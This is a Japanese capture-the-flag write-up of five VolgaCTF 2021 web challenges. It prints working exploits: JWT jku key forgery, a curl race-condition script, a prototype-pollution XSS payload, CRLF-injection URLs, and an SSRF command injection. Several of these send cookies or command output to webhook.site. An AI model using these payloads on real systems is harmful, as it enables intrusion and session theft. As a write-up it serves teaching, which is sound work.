3/27 - 3/28という日程で開催された。zer0ptsで参加して22位。Rating weightは13.01と不評だったけれども、Web問は面白かったと思う。
- [Web] JWT
- [Web] Online Wallet (Part 1)
- [Web] Online Wallet (Part 2)
- [Web] Static Site
- [Web] Unicorn Networks
[Web] JWT
JWTをデコードすると jku やら jti やらがヘッダに付いていることがわかる。jku を https://webhook.site/cc73f1e5-1fc3-455d-8ae0-715573a3ea2d に変えるとwebhook.site側にはHTTPリクエストが飛んできて、Webサーバ側では次のようなエラーが発生する。
JWT processing failed. Additional details: [[17] Unable to process JOSE object (cause: org.jose4j.lang.UnresolvableKeyException: Unable to find a suitable verification key for JWS w/ header {"kid":"HS256","alg":"HS256"} due to an unexpected exception (org.jose4j.lang.JoseException: Parsing error: org.jose4j.json.internal.json_simple.parser.ParseException: Unexpected token END OF FILE at position 0.) while obtaining or using keys from JWKS endpoint at https://webhook.site/cc73f1e5-1fc3-455d-8ae0-715573a3ea2d): JsonWebSignature{"kid":"HS256","alg":"HS256"}->eyJraWQiOiJIUzI1NiIsImFsZyI6IkhTMjU2In0.eyJqa3UiOiJodHRwczovL3dlYmhvb2suc2l0ZS9jYzczZjFlNS0xZmMzLTQ1NWQtOGFlMC03MTU1NzNhM2VhMmQiLCJleHAiOjE2MTc1MDgyODMsImp0aSI6ImFfYmNkZlFPVWZtenZRUVhzLWxwdFEiLCJpYXQiOjE2MTY5MDM0ODMsIm5iZiI6MTYxNjkwMzM2Mywic3ViIjoicG95b3lvbiJ9.v4cYdzJyE2L9fb5V5nMFzZd1HkSojbn8ZvxKLSh4qho]
以下のようなJSONを返すURLに jku を変更してやると、AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA という秘密鍵で署名したJWTが正当なものと判定されるようになる。sub を admin に書き換えるとフラグが得られる。
<?php header('Content-Type: application/json'); ?> { "kty": "oct", "alg": "HS256", "kid": "HS256", "use": "sig", "k": "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUE=" }
[Web] Online Wallet (Part 1)
インターネットバンキング的なWebアプリケーションを攻撃して、なんとかして(最初に100与えられる)残高を150を超えるまで増やせという問題。
app.post('/withdraw', async (req, res) => { if(!req.session.userid || !req.body.wallet || (typeof(req.body.wallet) != "string")) return res.json({success: false}) const db = await pool.awaitGetConnection() try { result = await db.awaitQuery("SELECT `balance` FROM `wallets` WHERE `id` = ? AND `user_id` = ?", [req.body.wallet, req.session.userid]) /* only developers can have a negative balance */ if((result[0].balance > 150) || (result[0].balance < 0)) res.json({success: true, money: FLAG}) else res.json({success: false}) } catch { res.json({success: false}) } finally { db.release() } })
レースコンディション。
$ f() {
curl 'https://wallet.volgactf-task.ru/transfer' \
-H 'Content-Type: application/json' \
-H 'Cookie: connect.sid=s%3AFusLA5u4NccDMYYxFWsIdBy7Aq-clHsW.gmXTnVSX8Df2kfNr%2BpwZAAAHK5KrDyX4EWUyQBq5YJM' \
--data-raw '{"from_wallet":"0xc6ef35006a8841e3ea688dd9d8abfde4","to_wallet":"0x09cdd4b602c1135df82a14bcf7d2608a","amount":50}';
}
$ g() {
curl 'https://wallet.volgactf-task.ru/transfer' \
-H 'Content-Type: application/json' \
-H 'Cookie: connect.sid=s%3AFusLA5u4NccDMYYxFWsIdBy7Aq-clHsW.gmXTnVSX8Df2kfNr%2BpwZAAAHK5KrDyX4EWUyQBq5YJM' \
--data-raw '{"to_wallet":"0xc6ef35006a8841e3ea688dd9d8abfde4","from_wallet":"0x09cdd4b602c1135df82a14bcf7d2608a","amount":50}';
}
$ f&g&f&g&f&g&f&f&
[Web] Online Wallet (Part 2)
?lang=/../deparam でjquery-deparamを読み込ませることができるが、これはPrototype Pollutionができるバージョンが使われている。?lang=/../deparam&a[0][]=1&a[0][__proto__][__proto__][b]=1 で Object.prototype.b = 1 相当のことができる。
jQueryのgadgetを使ってJavaScriptコードを実行できるかと思いきや、それだけでは発火しない。幸いにも id="depositButton" という属性を持っているボタンにホバーするとtooltipが表示されるようになっているので、以下のように iframe で開いた後にURLに #depositButton を追加してやればOK。
<iframe id="iframe" src='https://wallet.volgactf-task.ru/wallet?lang=/../deparam&a[0][]=1&a[0][__proto__][o][1]=%27%3E%22%3E%3Cb%3Eas&error&a[0][__proto__][__proto__][div][0]=1&a[0][__proto__][__proto__][div][1]=%3Cimg/src/onerror%3d"navigator.sendBeacon(`https://webhook.site/...?1,${document.cookie},2`)"&a[0][__proto__][__proto__][div][2]=1&error' width="800" height="600"> </iframe> <script> navigator.sendBeacon(`https://webhook.site/...?test`); const i = document.getElementById('iframe'); i.onload = () => { setTimeout(() => { i.src += '#depositButton'; }, 500); navigator.sendBeacon(`https://webhook.site/...?${btoa(i.src)}`); i.onload = () => {}; }; </script>
[Web] Static Site
nginxの設定は以下のような感じ。/static/%20HTTP/1.1%0d%0aHost:%20example.com%0d%0a%0d%0a でCRLF Injection(とかHTTP Response Splittingとか呼ぶやつ)ができる。
server {
listen 443 ssl;
resolver 8.8.8.8;
server_name static-site.volgactf-task.ru;
ssl_certificate /etc/letsencrypt/live/volgactf-task.ru/fullchain1.pem;
ssl_certificate_key /etc/letsencrypt/live/volgactf-task.ru/privkey1.pem;
add_header Content-Security-Policy "default-src 'self'; object-src 'none'; frame-src https://www.google.com/recaptcha/; font-src https://fonts.gstatic.com/; style-src 'self' https://fonts.googleapis.com/; script-src 'self' https://www.google.com/recaptcha/api.js https://www.gstatic.com/recaptcha/" always;
location / {
root /var/www/html;
}
location /static/ {
proxy_pass https://volga-static-site.s3.amazonaws.com$uri;
}
}
volga-static-site というS3バケットのリージョンは以下のような手順で特定できる。
$ curl -i s3.amazonaws.com -H "Host: volga-static-site" HTTP/1.1 200 OK x-amz-id-2: hIwiy1NTk84Yw0NfevKpu5gC4oE9XDKNtxpwG7O0X0sBGLgZBiTtpYEUubwo/Qn07hFnXztQUMU= x-amz-request-id: NKKTW8G91RTVVZPG Date: Wed, 16 Jun 2021 16:50:21 GMT x-amz-bucket-region: us-east-1 Content-Type: application/xml Transfer-Encoding: chunked Server: AmazonS3 ...
同じ us-east-1 でS3バケットを作り、以下のような内容の index.html と location.href=['…',document.cookie] という内容の exp.js を static/ にアップロードする。外部からアクセスできるように設定を変更した上で https://static-site.volgactf-task.ru/static/index.html%20HTTP/1.1%0d%0aHost:%20(バケット名).s3.amazonaws.com%0d%0a%0d%0a というURLを報告するとフラグが得られる。
<script src="/static/exp.js%20HTTP/1.1%0d%0aHost:%20(バケット名).s3.amazonaws.com%0d%0a%0d%0a"></script>
[Web] Unicorn Networks
我々は手探りで脆弱性を見つけたけれども、CVE-2021-21315という脆弱性だったらしい。SSRF + OSコマンドインジェクション。
$ curl -s -k -g -X $'GET' -H $'Host: 192.46.237.106:3000' $'http://192.46.237.106:3000/api/getUrl?url=http://.../redirect.php?redir=http://localhost/api/admin/service_info?name%5b%5d=%2524(curl%252bhttps://webhook.site/...%252b-d%252b%2560cat%252b%252a%2560)'